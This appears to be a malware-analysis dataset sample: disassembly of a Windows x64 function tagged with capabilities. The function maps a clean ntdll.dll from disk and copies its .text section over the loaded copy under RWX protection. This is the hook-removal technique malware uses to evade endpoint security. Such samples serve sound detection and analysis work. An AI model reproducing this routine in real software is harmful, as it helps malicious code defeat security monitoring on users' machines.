Function at 0x14000251d
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Overwrite dll .text section to remove hooks
Read file via mapping

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xc0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov qword [rbp - 0x10], rax
pxor xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
movq qword [rbp - 0x60], xmm0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp - 0x18], rax
lea rcx, [rbp - 0x70]
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
mov r9d, 0x18
mov r8, rcx
mov rcx, rax
call sym.K32GetModuleInformation
mov rax, qword [rbp - 0x70]
mov qword [rbp - 0x20], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x30]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x20]
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 0x20]
add rax, rdx
mov qword [rbp - 0x48], rax
mov word [rbp - 2], 0
jmp 0x140002755
mov rax, qword [rbp - 0x48]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x48]
lea rcx, [rdx + rax]
movzx edx, word [rbp - 2]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp - 0x50], rax
mov rax, qword [rbp - 0x50]
lea rdx, str..text
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x14000274a
mov dword [rbp - 0x74], 0
mov rax, qword [rbp - 0x50]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp - 0x50]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp - 0x20]
add rax, rcx
mov rcx, rax
lea rax, [rbp - 0x74]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
setne al
mov byte [rbp - 0x51], al
mov rax, qword [rbp - 0x50]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp - 0x50]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp - 0x38]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp - 0x50]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp - 0x20]
add rax, rcx
mov rcx, rax
call sym.memcpy
mov edx, dword [rbp - 0x74]
mov rax, qword [rbp - 0x50]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp - 0x50]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp - 0x20]
add rax, rcx
mov rcx, rax
lea rax, [rbp - 0x74]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
setne al
mov byte [rbp - 0x51], al
movzx eax, word [rbp - 2]
add eax, 1
mov word [rbp - 2], ax
mov rax, qword [rbp - 0x48]
movzx eax, word [rax + 6]
cmp word [rbp - 2], ax
jb 0x14000264b
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call rax
nop
add rsp, 0xc0
pop rbp
ret